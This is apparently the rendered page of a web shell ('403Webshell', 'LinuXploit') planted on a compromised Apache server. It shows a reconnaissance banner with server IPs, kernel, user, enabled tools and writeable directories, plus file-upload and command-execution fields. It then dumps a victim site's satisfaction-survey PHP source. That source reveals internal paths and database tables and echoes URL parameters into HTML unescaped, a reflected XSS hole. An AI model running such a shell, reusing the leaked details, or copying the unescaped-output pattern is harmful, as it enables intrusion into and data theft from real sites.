403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/members/satisfaction_survey.php
<?php
session_start();
include_once($_SERVER['DOCUMENT_ROOT']."/vx_/site_info.php");
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/ua.php");
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/mysql.php");
if(!empty($_POST['action'])) {
	$db->query("INSERT INTO lc2admin.usa_satisfaction_surveys
				(
					site_code
					,client_id
					,employee
					,stars
					,how_did_we_do
					,ts
				) VALUES (
					'".$db->clean($siteCode)."'
					,'".$db->clean($_POST['client_id'])."'
					,'".$db->clean($_POST['username'])."'
					,'".$db->clean($_POST['stars'])."'
					,'".$db->clean($_POST['how_did_we_do'])."'
					,NOW()
				)");
	echo "Thank you for your feedback.";
	die();
}
if(!empty($_GET['sid'])) {
	$arr = explode('|||',base64_decode($_GET['sid']));
	$_GET['cid'] = $arr[0];
	$_GET['username'] = $arr[1];
}
?>
<!doctype html>
<html>
	<head>
        <meta charset="utf-8">
        <?
		if(!empty($phone) || !empty($tablet)) 
		{
			?>
            <!-- ================================================================================================ -->
            <!-- DEVICE VIEWPORT TAG -->
			<meta name="viewport" content="initial-scale=<?=$scale?>, minimum-scale=<?=$scale?>, maximum-scale=<?=$scale?>">
			<?
		} 
        ?>
        <!-- ================================================================================================ -->
        <!-- PAGE TITLE -->
        <title>Satisfaction Survey</title>
                    			
        <!-- ================================================================================================ -->
        <!-- STYLE SHEETS -->
        <link rel="stylesheet" type="text/css" href="/vx/layout/style/bootstrap/css/bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="/vx/layout/style/font-awesome/css/font-awesome.min.css">
        <link rel="stylesheet" type="text/css" href="/vx/layout/style/glyphicons/css/glyphicons.css">
		<link rel="stylesheet" type="text/css" href="/vx_/css/theme.css">
        <link rel="stylesheet" type="text/css" href="/vx_/css/common.css">
        <link rel="stylesheet" type="text/css" href="/vx_/css/members.css" />
        <link rel="stylesheet" type="text/css" href="/vx_/css/responsive.css">
		<link rel="stylesheet" type="text/css" href="/vx/layout/style/default.css">

		<!-- ================================================================================================ -->
		<!-- APPLICATION ICONS -->
        <link rel="apple-touch-icon" sizes="57x57" href="/vx_/images/icons/apple-icon-57x57.png">
        <link rel="apple-touch-icon" sizes="60x60" href="/vx_/images/icons/apple-icon-60x60.png">
        <link rel="apple-touch-icon" sizes="72x72" href="/vx_/images/icons/apple-icon-72x72.png">
        <link rel="apple-touch-icon" sizes="76x76" href="/vx_/images/icons/apple-icon-76x76.png">
        <link rel="apple-touch-icon" sizes="114x114" href="/vx_/images/icons/apple-icon-114x114.png">
        <link rel="apple-touch-icon" sizes="120x120" href="/vx_/images/icons/apple-icon-120x120.png">
        <link rel="apple-touch-icon" sizes="144x144" href="/vx_/images/icons/apple-icon-144x144.png">
        <link rel="apple-touch-icon" sizes="152x152" href="/vx_/images/icons/apple-icon-152x152.png">
        <link rel="apple-touch-icon" sizes="180x180" href="/vx_/images/icons/apple-icon-180x180.png">
        <link rel="icon" type="image/png" sizes="192x192"  href="/vx_/images/icons/android-icon-192x192.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/vx_/images/icon/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="96x96" href="/vx_/images/icons/favicon-96x96.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/vx_/images/icons/favicon-16x16.png">
        <link rel="manifest" href="/vx_/images/icons/manifest.json">
        <meta name="msapplication-TileColor" content="#ffffff">
        <meta name="msapplication-TileImage" content="/vx_/images/icons/ms-icon-144x144.png">
        <meta name="theme-color" content="#ffffff">
		<link rel="icon" type="image/x-icon" href="/vx_/images/favicon.ico" />

		<!-- ================================================================================================ -->
		<!-- JAVASCRIPT/ANGULARJS -->
        <script language="javascript" type="text/javascript" src="/vx/js/jquery/jquery-1.9.1.js"></script>
		<script type="text/javascript">
			function update_feedback_star(stars) {
				stars = stars*1;
				$('#stars_input').val(stars);
				$('.stars').find('img').attr('src','/vx/usa/members/empty_star_icon.png');
				if(stars>=1) {
					$('#star_container_1').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
				}
				if(stars>=2) {
					$('#star_container_2').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
				}
				if(stars>=3) {
					$('#star_container_3').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
				}
				if(stars>=4) {
					$('#star_container_4').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
				}
				if(stars>=5) {
					$('#star_container_5').find('img').attr('src','/vx/usa/members/gold_star_icon.png');
				}
			}
			function submit_testimonial_step_one(frm) {
				var errors = '';
				if($('#stars_input').val()=='0') {
					errors += (errors=='') ? '' : "\n";
					errors += 'Please click on a star to rate the site.';
				}
				if(errors!='') {
					alert(errors);
				} else {
					var str = 'action=submit_survey';
					$(frm).find('input,select,textarea').each(function() {
						str += '&' + encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
					});
					$('#actual_feedback_form').html('<center><img src="/vx/usa/members/loading_icon.gif" /><br />Saving</center>');
					$.ajax({
						cache: false,
						type: "POST",
						url: "/vx/usa/members/satisfaction_survey.php",
						data: str,
						success: function(result) {
							$('#actual_feedback_form').html(result);
						}
					});
				}
			}
		</script>
		<style>
			.stars {
				display:inline-block;
			}
			.stars img {
				width:50px;
				cursor:pointer;
			}
		</style>
	</head>
	<body>
		<center>
			<img src="/vx_/images/<?= ($siteCode=='ggus') ? 'LogoA.png' : 'LogoB.png';?>" style="max-width:90%;<?= ($siteCode=='fa') ? 'background:#001c3e;' : '';?>" />
		</center>
		<div style="position:absolute;left:0px;top:150px;right:0px;bottom:0px;z-index:10;padding:0px;" id="we_want_feedback_form">
			<table style="width:100%;height:100%;">
				<tbody>
					<tr>
						<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
						<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
						<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
					</tr>
					<tr>
						<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
						<?php if($phone) { ?>
						<td style="background:rgba(255,255,255,0.7);width:100%;vertical-align:top;">
						<?php } else { ?>
						<td style="background:rgba(255,255,255,0.7);width:383px;vertical-align:top;">
						<?php } ?>
							<div style="border:10px solid #999999;position:relative;z-index:11;width:100%;max-width:383px;background:white;">
								<img src="/vx/usa/members/testimonial_header.png" style="position:absolute;left:76px;top:-60px;z-index:12;width:200px;" />
								<div style="position:absolute;top:10px;right:10px;font-size:32px;font-family:Arial;color:grey;cursor:pointer;" onclick="$('#we_want_feedback_form').remove(); return false;">X</div>
								<div style="padding-top:74px;">
								&nbsp;
								</div>
								<div style="padding:20px;" id="actual_feedback_form">
									<form method="post" action="#" onsubmit="submit_testimonial_step_one(this); return false;">
										<input type="hidden" name="client_id" value="<?= $_GET['cid'];?>" />
										<input type="hidden" name="username" value="<?= $_GET['username'];?>" />
										<div style="padding:0px 0px 10px 0px;">
											How satisfied were you with your experience with Customer Service?
										</div>
										<center>
											<input type="hidden" name="stars" id="stars_input" value="0" />
											<div id="star_container_1" class="stars" onclick="update_feedback_star('1'); return false;">
												<img src="/vx/usa/members/empty_star_icon.png" />
											</div>
											<div id="star_container_2" class="stars" onclick="update_feedback_star('2'); return false;">
												<img src="/vx/usa/members/empty_star_icon.png" />
											</div>
											<div id="star_container_3" class="stars" onclick="update_feedback_star('3'); return false;">
												<img src="/vx/usa/members/empty_star_icon.png" />
											</div>
											<div id="star_container_4" class="stars" onclick="update_feedback_star('4'); return false;">
												<img src="/vx/usa/members/empty_star_icon.png" />
											</div>
											<div id="star_container_5" class="stars" onclick="update_feedback_star('5'); return false;">
												<img src="/vx/usa/members/empty_star_icon.png" />
											</div>
										</center>
										<div style="padding:10px 0px;">
											<strong>Tell us how we did. How can we improve?</strong>
										</div>
										<div>
											<textarea name="how_did_we_do" placeholder="Type Here" required style="width:100%;height:120px;"></textarea>
										</div>
										<center style="padding:20px;">
											<input type="submit" value="Submit" style="padding:10px 20px;font-size:18px;height:auto;" />
										</center>
									</form>
								</div>
							</div>
						</td>
						<td style="background: rgba(255,255,255,0.7);">&nbsp;</td>
					</tr>
					<tr>
						<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
						<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
						<td style="height:50px;background: rgba(255,255,255,0.7);">&nbsp;</td>
					</tr>
				</tbody>
			</table>
		</div>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit